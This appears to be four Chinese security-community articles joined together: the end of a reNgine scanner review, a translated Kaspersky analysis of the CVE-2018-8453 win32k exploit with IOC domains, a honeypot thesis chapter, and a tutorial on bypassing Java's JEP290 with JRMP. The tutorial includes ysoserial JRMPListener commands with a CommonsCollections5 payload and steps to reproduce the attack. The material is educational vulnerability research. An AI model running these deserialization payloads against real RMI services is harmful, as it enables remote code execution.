接着就是截图之类的...完成了subdomain的模块,如果我们还同时选中了目录扫描模块的话。
最终扫描完成走到最后:
### 0x5.2 实现扫描进度
这个工具前端能够实时展示当前的扫描进度，我当时写的x7scan为了写这个进度可是折腾了好久,所以这里分出来一节,用来学习别人是怎么实现更新进度的。
根据状态应用不同的button样式。
可以看到这里的进度的动态显示,主要就是利用
{% widthratio scan_history.scanactivity_set.all|length scan_history.scan_type.get_number_ofs_steps|add:4 100 %}
django的模本运算,扫描的结果集长度/(步骤+4) *100 得到当前的进度
`scan_history.scanactivity_set.all`反向查询获取`scanactivity`的条数
程序的话,默认会创建4个属于表示状态的Activity,这就是为什么+4。
步骤其实就是扫描器的核心5个调用功能点:
### 0x5.3 优缺点分析
由于笔者对django一窍不通,所以很多代码欣赏不来, 整个项目的变量统一采用蛇形格式,
但注释比较少，笔者读起来还是非常吃力，而且这种celery的框架要是想调试也很麻烦,所以这里不对代码作评价。
作为一个用户的角度来简单说说:
**缺点:**
比较明显一点就是结果不能复用，还有就是如果同时有太多扫描(产生大量子域名)，文件读取(txt)也就是读写I/O会占用非常多的内存,系统很容易出现崩溃的情况,还有就是细粒度还是比较大的问题(它本来就不是分布式扫描工具,没必要苛求这个,但是想提高速度的话,可以自己多开一个worker
docker,数目和你CPU差不多就行了)
还有很多issue(xss漏洞之类的):<https://github.com/yogeshojha/rengine/issues>
...
**优点:**
界面写的很用心,系统调低线程的话整体运行还是很稳定的,再者有人不断维护,会越来越优秀的。
还有支持yaml配置各个tools的具体参数配置,看作者写的代码,可以看出来作者写的蛮疲惫的。
...
## 0x6 总结与展望
本文简单地分析了几款的主流工具的工作流程,明白了工具作者的基本思想，其实与我心目中架构的思想还是不太一致的,特别是细粒度这一方面,我会针对细粒度的划分做一些性能的小测试。
> 保佑自己毕设在开始code之前,能够把这个小工具作为前胃菜完结吧,真的是太忙了Orz.
## 0x7 参考链接
[Python 使用VS Code进行调试](https://zhuanlan.zhihu.com/p/95863891) | 社区文章 |
本文翻译自：<https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/>
* * *
10月9日，微软发布更新，修复了CVE-2018-8453漏洞。CVE-2018-8453是Kaspersky实验室8月份发现的win32k.sys中的安全漏洞。
2018年8月，Kaspersky实验室的Automatic Exploit
Prevention（AEP，自动化漏洞利用预防）系统检测到利用Windows操作系统漏洞的情况。研究人员分析发现了`win32k.sys`的0
day漏洞，即CVE-2018-8453。该利用执行的第一步是恶意软件下载器在受害者系统中获取足够的权限，以达到驻留的目的。利用的代码质量很高，可以在不同的Windows是版本上完成漏洞利用，包括windows
10 RS4。
最近，研究人员检测到利用这一漏洞的攻击数量还非常少，受害者主要位于中东地区。
# 技术细节
CVE-2018-8453是`win32kfull!xxxDestroyWindow`中的Use-After-Free漏洞，与CVE-2017-0263有点类似。为了对该漏洞进行分析，研究人员逆向了ITW的利用样本，并重写了POC。
漏洞利用是基于一系列的事件，从hook设置到3个用户模式回调函数，包括`fnDWORD, fnNCDESTROY,
fnINLPCREATESTRUCT`。漏洞利用通过替换`KernelCallbackTable`中的函数指针来安装hooks。
Kernel Callback表中的hook的函数
在`fnINLPCREATESTRUCT` hook中，漏洞利用通过分配位置来初始化`SysShadow`窗口：
fnINLPCREATESTRUCT初始化SysShadow的Usermode hook
在处理`WM_LBUTTONDOWN`消息时，`fnDWORD`
hook会执行`DestroyWindow`函数，并导致window被标记为free，随后由garbage collector释放。
漏洞就位于`fnNCDESTROY` hook中`DestroyWindow`函数执行的过程中。Hook会执行`NtUserSetWindowFNID
syscall`，其中修改Window`fnid`状态的逻辑是有缺陷的，因为没有检查`fnid`状态是否被设置为`FNID_FREED`。
NtUserSetWindowFNID中有漏洞的代码
window的`fnid`状态位于`tagWND`结构的`0x02a`处：
kd> dt win32k!tagWND
…
+0x02a fnid : Uint2B
当scrollbar创建后，值就是`FNID_SCROLLBAR (0x029A)`。
下图是`fnid`在NtUserSetWindowFNID syscall`执行前后的值：
NtUserSetWindowFNID syscall执行前后Scrollbar fnid的值
然后可以通过验证[ReactOS的源码](https://doxygen.reactos.org/dd/d79/include_2ntuser_8h.html#a399ba6dbe78c18db70cf90865ee9e0af)来检查`fnid`的新值：
/* FNIDs for NtUserSetWindowFNID, NtUserMessageCall */
#define FNID_SCROLLBAR 0x029A
…
#define FNID_BUTTON 0x02A1
…
#define FNID_FREED 0x8000 /* Window being Freed… */
该动作会导致第一个scrollbar被破坏，而系统仍然含有到`SysShadow`类的引用，scrollbar`fnid`也不再标记为`FNID_FREED`，而是标记为`FNID_BUTTON`。
为了成功地收回释放的内存池，漏洞利用含有大量不同的feng
shui技术。Spray（喷射）的过程是根据利用的Windows版本来决定的，因为漏洞利用的目标是大量不同版本的操作系统，一共含有5个不同的函数：
漏洞利用支持的Heap spray（堆喷射）过程
在最新支持的版本Windows 10
RS4中，喷射技术相当复杂。Kernel是用不同大小的位图对象来喷射的。这需要耗尽内存分配器以最终绕过最新Windows版本中的`Low
Fragmentation Heap`安全措施。
Windows RS4 17134中的Heap Feng Shui技术
这会导致下面的内存布局，即`USERTAG_SCROLLTRACK`在释放的池分配中。
释放的scrollbar heap allocation
当另一个scrollbar被分配后，会重用`SysShadow`类内存引用，但其内容是攻击者控制的，因为释放的`Usst
(ffffee30044b2a10)`和`Gpbm (ffffee30044b2a90)`会合并为一个单独的区块：
释放的分配合并
这可以使用在最新的Windows版本中支持的GDI Bitmap原语来进行任意kernel读写。
成功利用后，一个简单修改的Token窃取payload会用于与`SYSTEM EPROCESS`结构中的`process
Token`值交换当前进程token值：
修改后的token窃取payload
截止目前，研究人员只发现一小部分攻击中使用了该漏洞利用，该漏洞利用被打包到一个恶意软件安装器中配合使用。安装器需要系统权限才能安装payload，payload是一个复杂的植入，攻击者用它来达到在受害者机器中驻留的目的。其中的一些特征包括：
* 用SMBIOS UUID 的SHA-1和AES-256-CBC加密payload（如果没有SMBIOS UUID，就不能在机器上解密payload）
* 使用微软BITS（Background Intelligent Transfer Service后台智能传输服务）与C2进行通信
* 将主payload文件以随机名保持在硬盘上，含有文件名哈希值的加载器会尝试比较Windows目录中所有文件的哈希来找出payload
# 归属
分析过程中，研究任意发现攻击者使用了PowerShell后门，FruityArmor
APT组织之前也使用过该后门。其C2也和FruityArmor之前攻击活动中用作C2的域名也交叉。因此，研究任意推测FruityArmor正是背后利用CVE-2018-8453的攻击组织。
# 总结
这是研究人员第二次监测到FruityArmor组织使用0
day漏洞利用来传播恶意软件。目前的监测结果显示，该攻击活动目标性极强，在影响了中东地区的少量受害者。但目前还不确定攻击者的主要目标。
**IOC**
域名：
weekendstrips[.]net
shelves-design[.]com | 社区文章 |
将蜜罐技术应用到内网攻击感知中，一篇硕士论文的研究过程与demo实现，抛砖引玉。计划的系列文章内容分为以下几个部分，按照论文撰写的脉络来讲：
1. **蜜罐与内网安全选题思考**
2. **蜜罐技术科普与发展简述（2016年）**
3. **常见内网攻击类型及检测思路**
4. **多款开源蜜罐数据样例与应用分析-本文**
5. 攻击序列、攻击模式与攻击者标签
6. 攻击模式匹配算法提出
7. demo系统设计
8. demo实现过程中的一些技术点
9. 实验室环境下的测试过程
10. 我的论文小结（附参考文献列表）
* * *
好久不见，一个月没更新了...都是因为懒。今天介绍几种不同开源蜜罐的特点和能采集到的数据样例。本课题的蜜罐终端实现的过程集成了现代密网(MHN)技术、Dionaea蜜罐技术、Glastopf蜜罐技术、Kippo蜜罐技术以及P0f指纹识别技术。
通过 **了解不同蜜罐能采集的原始数据字段与内容，可以更直观地看到蜜罐的采集能力，便于我们结合应用场景解决实际问题的时候去选择和组合不同的开源蜜罐技术**
。
为方便大家扩展阅读， **文末会给出相关的项目链接、文章链接以及参考文献，供参考** 。
# 0x01 现代密网(MHN)简介
蜜罐网络是随着蜜罐发展衍生出的一种蜜罐技术体系[43]。现代密网（MHN，Modern Honey Network，以下简称MHN）是一个开源项目，它
**简化了蜜罐的部署并支持多种蜜罐软件作为数据终端**
。该项目用ThreatStream开源软件程序来部署，MHN支持将收集的数据汇总处理后保存在MongoDB数据库中[44]，数据库的内容支持通过定制Web接口展示和存取[45]。MHN系统功能示意如下图所示。
MHN能够支持连接多种类型的蜜罐软件，添加和部署蜜罐过程相对自动化，部署完成后，蜜罐和MHN中心数据库支持通过开源的发布订阅协议hpfeeds来同步数据。
MHN依赖多个蜜罐终端作为探测器Sensors去探测和收集攻击数据，并通过一种基于订阅者与发布者关系的传输协议hpfeeds将蜜罐终端的数据传输到MHN中心服务器，并存储到MongoDB数据库中，再通过honeymap和Webapp模块进行展示，示例页面如下图所示。
针对不同种类的底层蜜罐软件，本课题采用统一格式化的处理方案，从不同蜜罐的日志数据中提取所需字段，统一处理成JSON格式数据后传输到中心服务器。
# 0x02 Dionaea蜜罐简介及数据样例
Dionaea(捕蝇草)是起始于Google Summer of Code 2009的 **一款低交互式蜜罐** ，属于Honeynet
Project开源项目。Dionaea蜜罐的设计目的是诱导和记录攻击行为，能捕获攻击载荷和恶意代码样本。
**它基于监听端口来模拟各种服务，能够捕获攻击者的连接请求和攻击载荷，同时记录攻击来源IP、来源端口、目的端口、所用协议等，能为后续分析提供需要的数据支持**
。Dionaea是一种低交互式蜜罐，它只提供相应服务的基础模拟，能够和攻击者进行初始阶段的数据模拟交互，因此Dionaea蜜罐风险较低。相应的Dionaea蜜罐可以便捷地安装、配置和使用，基础模拟安全风险低带来的不足之处是捕获的数据类型和范围有限，且容易被有经验的攻击者察觉[46]。
Dionaea目前需要基于Linux操作系统进行安装配置，需要网络环境，它可以监听1433端口、3306端口、21端口、445端口、42端口、135端口等，对于外部连接请求，模拟正常服务进行交互，同时能够记录网络数据包，并且Dionaea能够对数据包中的shellcode进行模拟执行。对于未模拟的端口Dionaea可以记录请求的连接数据包并保存成pcap格式。
本课题主要利用Dionaea蜜罐模拟1433端口的MSSQL服务、3306的MySQL服务、21端口的FTP服务，监听连接并捕获攻击者发送的数据包，为攻击行为分析提供数据支持。
# 0x03 Glastopf蜜罐简介及数据样例
**Glastopf是一款低交互的Web应用蜜罐软件，该蜜罐采用Python语言开发，能够跨平台运行**
，在Windows、Linux、OSX操作系统环境下均能方便部署，启动后，Glastopf默认监听80端口，同时也可自定义监听端口。Glastopf可处理GET、POST、HEAD三种HTTP数据包，同时能够对数据包的Base64编码进行处理[47]。对于Web多种攻击的仿真，Glastopf维护了一个Dorklist列表，可以自定义实现根据不同请求数据包进行针对性的响应。在数据收集和展示上，Glastopf可以通过WebUI模块配合Apache服务器进提供数据可视化功能[48]。
本课题主要利用Glastopf模拟Web服务，捕获攻击者对80端口发送的数据包。
# 0x04 Kippo蜜罐简介及数据样例
**Kippo蜜罐是一款专门针对22端口的SSH服务进行仿真的蜜罐软件，由于互联网上始终暴露很多存在极大脆弱性的SSH服务，导致这种针对SSH的扫描和爆破的攻击方式至今依旧有效**
[49]。Kippo是2009年发布的一款接近中等交互等级的SSH蜜罐软件，它能够提供接近真实的交互shell环境，能够伪装文件目录、记录攻击者的访问和暴力破解日志，并且提供扩展程序能够对攻击者的攻击过程进行还原[18]。本课题主要利用Kippo蜜罐模拟SSH服务，捕获攻击者对22端口的扫描和暴力破解数据包。
# 0x05 P0f指纹识别工具及数据样例
**P0f(passive OS fingerprinting)是一款开源的指纹识别软件,它通过分析源主机发出的数据包来识别攻击者的操作系统和应用软件类**
型，而且，P0f集成了大量的设备和工具的指纹库[50]。本课题主要利用P0f工具的指纹库对攻击者使用的攻击工具类型进行识别，为分析攻击者的攻击手法提供数据基础。
# 0x06 ARP和DNS检测数据样例
ARP和DNS检测功能这块自主实现，记录的日志比较简单。
# 扩展阅读
本来还想再整理一遍，恰好看到这篇2017.10.27的知乎回答正好梳理了典型的开源蜜罐项目链接：
* 如何搭建一个蜜罐来捕获病毒：
<https://www.zhihu.com/question/37235881/answer/250800487>
再结合我前边一篇文章的参考阅读文章列表就差不多了：
\- 蜜罐技术科普与发展简述（2016年）：
<https://sosly.me/index.php/2017/09/05/jymiguan2/>
再补充两篇小伙伴的文章：
\- MHN开源蜜罐项目学习笔记（一）HPFEEDS协议：
<http://phantom0301.cc/2016/02/19/Hpfeeds/>
\- MHN学习笔记（二）Dionaea蜜罐架构：
<http://phantom0301.cc/2016/03/17/DIonaea/>
# 参考文献
* [43] Voznak M. Automatic analysis of attack data from distributed honeypot network[C]//SPIE Defense, Security, and Sensing. International Society for Optics and Photonics, 2013:875512-875512-7.
* [44] Wei-Ping Z, Ming-Xin L, Huan C. Using MongoDB to implement textbook management system instead of MySQL[C]// Communication Software and Networks (ICCSN), 2011 IEEE 3rd International Conference on. IEEE, 2011:303-305.
* [45] 蜜罐网络. WooyunDrops, 2015.5.7.
* [46] 代恒, 诸葛建伟. 诱捕恶意攻击“简易装”——Dionaea低交互式蜜罐介绍[J]. 中国教育网络, 2011(11):76-79.
* [47] 杜星. Glastopf蜜罐在Web安全中的应用研究[D]. 西安电子科技大学, 2014.
* [48] 孙松柏, 诸葛建伟, 段海新. Glastopf:Web应用攻击诱捕软件及案例分析[J]. 中国教育网络, 2012(1):75-78.
* [49] Duan K Y, Shen H E, Cheng Y X. Analysis of SSH Brute-Force Cracking Behavior based on Kippo Honeypot[J]. Information Security & Communications Privacy, 2014.
* [50] Jason Barnes, Patrick Crowley. k-p0f: A high-throughput kernel passive OS fingerprinter[C]// Architectures for Networking and Communications Systems (ANCS), 2013 ACM/IEEE Symposium on. 2013:113-114.
_系列文章，未完待续，看这更新的频率，“不打扰是我的温柔”这种借口我就不说了_... | 社区文章 |
字数：1w5
推荐阅读时间：>2h
## 前言
再看下RMI反序列化攻击的总结图：
如果觉得有什么出入，喷就完事了；
同时觉得本文对你有帮助， ~~也请留言、评论、关注、一键三连支持你喜欢的up主！你的点赞是我更新的动力！如果这期点赞超过20w，下篇文章直播开.....~~
咳...在上篇中已经讲述 **针对已知RMI接口的三种攻击方式** 与 **针对RMI层（RMI注册端、RMI服务端）/DGC层** ，得出了部分结论。
而在下篇中将重点讲述 **绕过JEP290的引入JRMP的利用方式**
，这就很好玩了，指出了别的老哥的错误之处，找到了别人没提及的骚姿势，复现分析了老外的绕过方式。
上下篇的小结论是沿用的，建议配合食用；文中实验代码、环境及工具均已上传[github](https://github.com/lalajun/RMIDeserialize)。
此外安利下[ysomap](https://github.com/wh1t3p1g/ysomap)，如果没有意外的话，之后会陆续把这些攻击方式都移植过去。
## 利用JRMP反序列化绕过JEP290
在上篇中我们所有攻击方式都给JEP290给干掉了，当然出了参数利用的方式，但是那种利用局限性太强了。来看看绕过JEP290的攻击方式。
先进行攻击演示：
1. 使用github中的`ServerandRegister.java`作为受害者靶机
2. 运行`java -cp F:\BanZ\java\ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections5 "calc"`作为攻击者自实现的JRMP服务端
3. 运行github中的`Bypass290.java`作为攻击代码
再来讲绕过原理的前置知识：
### JRMP服务端打JRMP客户端(ysoserial.exploit.JRMPListener)
> 这其实就是ysoserial.exploit.JRMPListener模块的攻击逻辑
>
>
> 其实之前标题为DGC服务端打DGC客户端，在别的文章评论区如此说的时候，被[老哥](https://www.anquanke.com/post/id/204740#h2-15)指出来不对：这里的漏洞触发跟DGC没关系。
>
>
> 实际去仔细看了调用栈的确不经过DGC，由于自己看的时候是从`sun.rmi.transport.DGCImpl_Stub#dirty`跳转进去的所以就当成DGC层。
>
>
> 实际上应该归为JRMP层，JRMP是DGC和RMI底层通讯层，DGC和RMI的最终调用都回到JRMP这一层来，但是这种理论归属知道个大概就好，其实我也不是很确定QAQ。
我们之前在看DGC层反序列化的时候，下的客户端断点是在`sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)`，然后回退到调用栈的dirty方法中。
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
//开启了一个连接，似曾相识的 669196253586618813L 在服务端也有
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try {
//获取连接的输入流
ObjectOutput var6 = var5.getOutputStream();
//***DGC客户端攻击DGC服务端的payload写入处***
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}
//进入此处
super.ref.invoke(var5);
dirty方法中通过`super.ref.invoke(var5);`进入`sun.rmi.server.UnicastRef#invoke`
在这里进行了
1. 发送了之前处理好的序列化数据包
2. 处理了服务端的报错返回。而 **反序列化问题正是出现在这里**
`sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)`
public void invoke(RemoteCall call) throws Exception {
try {
//写个日志，不管
clientRefLog.log(Log.VERBOSE, "execute call");
//跟进此处
call.executeCall();
//...省略一堆报错处理
`sun.rmi.transport.StreamRemoteCall#executeCall`
public void executeCall() throws Exception {
byte returnType;
// read result header
DGCAckHandler ackHandler = null;
try {
//...这里发包和接受返回状态returnType和返回包数据流in
returnType = in.readByte(); //1. 反序列化一个returnType
in.readID(); // 2. 反序列化一个id for DGC acknowledgement
//具体细节比较复杂不看了
} catch (UnmarshalException e) {
//..略..
}
// 处理returnType返回状态
switch (returnType) {
//这是常量1
case TransportConstants.NormalReturn:
break;
//这是常量2
case TransportConstants.ExceptionalReturn:
Object ex;
try {
//3. 从服务端返回数据流in中读取，并反序列化
//***漏洞触发点***
ex = in.readObject();
//省略之后代码
JRMP客户端反序列化顺序：
1. 反序列化服务端给的returnType
2. 反序列化服务端给的一个ID
3. 反序列化服务端给的报错信息
> 小问题：为啥一定要利用报错信息写payload，前两个不可以么？
>
> 当然不可以，readObject才行，不懂的话..... 不懂你也看不到这里。。打扰了
>
> 此外自己在看的时候发现了一个自己模糊的问题：JAVA反序列化序列化 是队列形式的还是栈形式的？
>
> 即：out.writeObject(a)；out.writeObject(a)；out.readObejct()的结果是a还是b
>
> 是a，队列形式
那我们知道了JRMP客户端存在一个反序列化点，是可以被攻击，再来看看对应的服务端是在哪里插入payload的（我们已经知道了大概是一个报错信息处）
这里网上的文章大多是直接拿yso
exploit的JRMPlistener攻击代码来看了，那个代码是直接重构了JRMP服务端，把报错信息改成payload的，但是都没有说原生服务端在哪里写序列化。（虽然这个问题对于实际攻击利用没有太大意义，还是来看下）
可以看到上面客户端代码对于服务端传输过来的`returnType`判断为`TransportConstants.ExceptionalReturn`才会进入反序列化流程。那么我们来全局搜索`TransportConstants.ExceptionalReturn`就可以找到服务端在哪里写入的了。
发现服务端的代码就在同个java文件下`sun.rmi.transport.StreamRemoteCall#getResultStream`：
public ObjectOutput getResultStream(boolean success) throws IOException {
if (resultStarted)
throw new StreamCorruptedException("result already in progress");
else
resultStarted = true;
DataOutputStream wr = new DataOutputStream(conn.getOutputStream());
wr.writeByte(TransportConstants.Return);
getOutputStream(true);
//success为false，进入我们的分支
if (success)
out.writeByte(TransportConstants.NormalReturn);
else
//*******这里第一个序列化returnType*******
out.writeByte(TransportConstants.ExceptionalReturn);
//第二个序列化一个ID
out.writeID(); // write id for gcAck
return out;
}
这里反序列化了两个前置的参数，这个函数之后就是payload处的写入，全局搜索该函数的引用处（参数要false的）：
前两处在`sun.rmi.server.UnicastServerRef#dispatch`和`sun.rmi.server.UnicastServerRef#oldDispatch`中，但代码一样，写入了报错信息：
//这里出来
ObjectOutput out = call.getResultStream(false);
if (e instanceof Error) {
e = new ServerError(
"Error occurred in server thread", (Error) e);
} else if (e instanceof RemoteException) {
e = new ServerException(
"RemoteException occurred in server thread",
(Exception) e);
}
if (suppressStackTraces) {
clearStackTraces(e);
}
//第三处序列化：序列化写入报错信息，也就是payload插入处
out.writeObject(e);
后一处在`sun.rmi.transport.Transport#serviceCall`中，清空了调用栈，然后写入了报错信息。
ObjectOutput out = call.getResultStream(false);
UnicastServerRef.clearStackTraces(e);
//第三处序列化：序列化写入报错信息，也就是payload插入处
out.writeObject(e);
call.releaseOutputStream();
那么 **服务端在三处地方可以写入payload**
去发起对于客户端的请求（其实应该还有更多地方，比如我们下断点找过来的路径就不是这三个的任何一个），找到之后我们就会发现，我们没法去利用原生的payload插入处，去插入payload。因为他们都是写入了报错信息，我们没法去控制。
那么就只有自实现拼接出一个JRMP服务端，来发送给JRMP客户端一个序列化数据，这就是 **YSOSERIAL-exploit-JRMPListener**
做的事情。
但是我们的这里的重点不是研究 **JRMPListener** ，所以不详细说明了
#### 复现
**我们可以通过github里的JRMPClient和ysoserial来复现一下JRMP服务端打客户端的过程。**
起一个JRMP服务端`java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099
CommonsCollections5 "calc"`
这个exploit会对任何请求回应一个响应包，其中报错信息被替换成了CC5链的Object payload。
然后客户端运行`JRMPClient.java`
public class JRMPClient {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry(1099);
registry.lookup("hello");
}
}
成功，而且非常有趣，我们测试的JDK是在JEP290（8u121）修复之后！
这说明 **JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制！**
**为什么？**
因为之前也说到JEP290默认只为 **RMI注册表** （RMI Register层）和 **RMI分布式垃圾收集器**
（DGC层）提供了相应的内置过滤器，但是最底层的JRMP是没有做过滤器的。所以可以攻击执行payload
那么有没有可能我们把这个可以绕过JEP290的攻击方式与几种之前被白名单拦截的攻击路径结合呢？
### 与RMI服务端反序列化攻击RMI注册端-Bind结合
我们的期待中的攻击流程如下（偷一张老外大佬的图）：
**上面一条线**`registry,bind(name,object)`是我们RMI服务端bind攻击RMI注册端的攻击路线，但是由于JEP290加入了反序列化过滤器，我们的诸多利用链比如CC被白名单限制失效了。具体细节如下：
数组最大长度maxarray=1000000;
调用栈最大深度maxdepth=20;
白名单要求如下：
java.lang.String;
java.lang.Number;
java.lang.reflect.Proxy;
java.rmi.Remote;
sun.rmi.server.UnicastRef;
sun.rmi.server.RMIClientSocketFactory;
sun.rmi.server.RMIServerSocketFactory;
java.rmi.activation.ActivationID;
java.rmi.server.UID
而 **下面两条线** 对应着我们刚才分析的 **JRMP服务端打JRMP客户端** 的过程：
1. 要RMI注册端作为JRMP客户端去主动连接我们的JRMP服务端（白名单过滤器只对反序列化过程有效，对序列化过程无效）
2. 我们恶意的JRMP服务端在原本是报错信息的位置写入利用链，序列化成数据包返回到JRMP客户端（RMI注册端）。
3. 由于JRMP客户端的反序列化过程不存在JEP290的过滤器，所以我们的payload可以成功被执行，从而完成RCE。
那么显而易见这个攻击组合中 **唯一缺失的板块** 就是：让原本目标是直接命令执行的第一条bind攻击，转换目标成
**让RMI注册端去作为JRMP客户端向我们指定的JRMP服务端去发起请求** ，从而完成一整个攻击链的衔接，这需要我们去寻
**找一个所有对象都在白名单中的Gadget** 去完成这一任务。
>
> 细想这个过程，会发现这个过程跟fastjson的JNDI注入攻击模式很相似，用一个payload去诱导目标服务器发起一个外部连接，连接到我们控制的恶意服务，恶意服务再去返回payload从而在服务器上完成命令执行。
>
>
> 它也跟我们所说的内网渗透中的免杀平台很像，我们只需要免杀平台免杀（对应JRMP攻击链逃过JEP290），然后外部命令都在免杀平台（通过JRMP攻击链）上执行。
理顺一下我们的目标：
1. 我们要找一个Gadget，它在服务端的反序列化的过程中，会对我们指定的JRMP服务器发起JRMP连接。
2. 在找到这个Gadget之后，我们需要进一步将它封装进入`register.bind(String,Remote)`中。（为了满足客户端的格式需求）
那么我们先来第一步：找Gadget。
假如让我们自己真的从零开始找这个Gadget，我们应该先找出所有会向服务器发起JRMP请求的最底层方法，然后向上看何处调用了这个方法来进行一层层逆推，直到找到一个对象的反序列化入口（比如readobject）。那么再从反序列化入口反过来拎起来就是一个Gadget。
但是在看别人的Gadget的时候就从反序列化口子开始看便于理解。
#### UnicastRef对象
Ysoserial中的payloads-JRMPClient就是一个可以完成JRMP服务器发起JRMP连接的调用栈：
/**
* UnicastRef.newCall(RemoteObject, Operation[], int, long)（！！JRMP请求的发送处！！）
* DGCImpl_Stub.dirty(ObjID[], long, Lease)（这里是我们上面JRMP服务端打客户端，客户端的反序列化触发处）
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
------这里实际上不是一个连贯的调用栈,之后说明----- * LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)（！！反序列化的入口！！）
可能有的同学对于`UnicastRef.readExternal()`作为反序列化的入口有点疑惑，其实我们在 **JAVA反序列化-基础**
中提到过这个。反序列化的入口其实不止readobject()，还有readExternal()，只不过后者稍微少见点。
在实际触发的时候，这个触发过程其实不是我们常见的readobject进来一路向下就直接完成触发的调用栈，它其实分为两部分
1. readObject()：组装填入ref
2. releaseInputStream()：统一处理ref
看bind的反序列化过程：
try {
var9 = var2.getInputStream();//var2是我们的输入流
var7 = (String)var9.readObject();//略过
//payload在这，在readobject中递归调用属性，进入UnicastRef#readExternal
//在其中完成了ref的填装
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
//在这里处理ref的时候才真正完成了触发
var2.releaseInputStream();
}
也就是说实际上 **JRMP服务器发起JRMP连接** 的时候是在`var2.releaseInputStream();`的语句中。
我们从`var9.readObject();`反序列化入口开始跟一遍：
`sun.rmi.server.UnicastRef#readExternal`:
public void readExternal(ObjectInput in)
throws IOException, ClassNotFoundException
{
ref = LiveRef.read(in, false);//---进入此处---- }
`sun.rmi.transport.LiveRef#read`：
public static LiveRef read(ObjectInput in, boolean useNewFormat)
throws IOException, ClassNotFoundException
{
Endpoint ep;
ObjID id;
// 从输入流中读取endpoint, id和result flag
// 一个固定的格式版本判断，根据JDK版本有关
if (useNewFormat) {
ep = TCPEndpoint.read(in);
} else {
//读取
ep = TCPEndpoint.readHostPortFormat(in);
}
id = ObjID.read(in);
boolean isResultStream = in.readBoolean();
//恢复一个LiveRef对象(可以理解为一个连接对象)
//此处可以由我们的序列化对象进行指定。
LiveRef ref = new LiveRef(id, ep, false);
//判断输入流in是不是已经是一个对象流了，这里都会为true
if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// 保存ref以在所有参数/返回都被解析后再发送"dirty"调用。
stream.saveRef(ref);
if (isResultStream) {
stream.setAckNeeded();
}
} else {
//-----这里会产生一个误区，实际上我们进入的不是这个registerRefs---- DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}
return ref;
}
我们会进入`stream.saveRef(ref);`中，将ref填入流中的`incomingRefTable`字段，再之后统一解析。
然后readobject就执行完了，进入第二步 **releaseInputStream 触发**
`sun.rmi.transport.StreamRemoteCall#releaseInputStream`：
public void releaseInputStream() throws IOException {
try {
if (this.in != null) {
//...省略
//进入此处，统一处理去DGC注册之前readobject解析出来的ref
this.in.registerRefs();
this.in.done(this.conn);
}
this.conn.releaseInputStream();
} finally {
this.in = null;
}
}
`sun.rmi.transport.ConnectionInputStream#registerRefs`:从之前readobject语句解析出来的`incomingRefTable`中读取ref。
void registerRefs() throws IOException {
if (!this.incomingRefTable.isEmpty()) {
//遍历incomingRefTable
Iterator var1 = this.incomingRefTable.entrySet().iterator();
while(var1.hasNext()) {
Entry var2 = (Entry)var1.next();
//开始一个个去DGC注册
DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue());
}
}
}
然后就回到了yso里面的调用栈的下半部分：`sun.rmi.transport.DGCClient#registerRefs`：
static void registerRefs(Endpoint ep, List<LiveRef> refs) {
EndpointEntry epEntry;
do {
//从给定的ep中查找引用对象入口
//这里就是我们调用栈下面一直跑的部分。
epEntry = EndpointEntry.lookup(ep);
//去该入口注册引用对象，如果不成功循环注册，直到成功。
} while (!epEntry.registerRefs(refs));//----进入此处--- }
`sun.rmi.transport.DGCClient.EndpointEntry#registerRefs`:
public boolean registerRefs(List<LiveRef> refs) {
assert !Thread.holdsLock(this);
Set<RefEntry> refsToDirty = null; // entries for refs needing dirty
long sequenceNum; // sequence number for dirty call
//阻塞执行，去遍历查询LiveRef实例
synchronized (this) {
//省略此处代码，就是做遍历查询的事情
}
//为所有结果参与DGC垃圾回收机制注册
//------进入此处------ makeDirtyCall(refsToDirty, sequenceNum);
return true;
}
`sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall`:(这里会发出DGC客户端的dirty请求)
private void makeDirtyCall(Set<RefEntry> refEntries, long sequenceNum) {
assert !Thread.holdsLock(this);
//根据refEntries得到注册用的ids
ObjID[] ids;
if (refEntries != null) {
ids = createObjIDArray(refEntries);
} else {
ids = emptyObjIDArray;
}
long startTime = System.currentTimeMillis();
try {
//进入此处，进行dirty请求
Lease lease =
dgc.dirty(ids, sequenceNum, new Lease(vmid, leaseValue));
由于这里是一个接口，静态分析的话，我们需要使用ctrl+alt+B，进入`sun.rmi.transport.DGCImpl_Stub#dirty`
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}
//JRMP服务端打JRMP客户端的反序列化触发点在这里面
super.ref.invoke(var5);
这里就很熟悉了，JRMP服务端打JRMP客户端，JRMP客户端的漏洞触发点就在这。
那么也就是说 **UnicastRef对象的readExternal方法作为反序列化入口的话**
，我们可以通过控制序列化的内容使服务器向我们指定的服务器发起JRMP连接（通过DGC层的dirty方法发起），再通过之前讲到的JRMP客户端报错信息反序列化点完成RCE。
我们把之前的攻击过程调试一下看下，同样在CC链的最后命令执行处下断点：
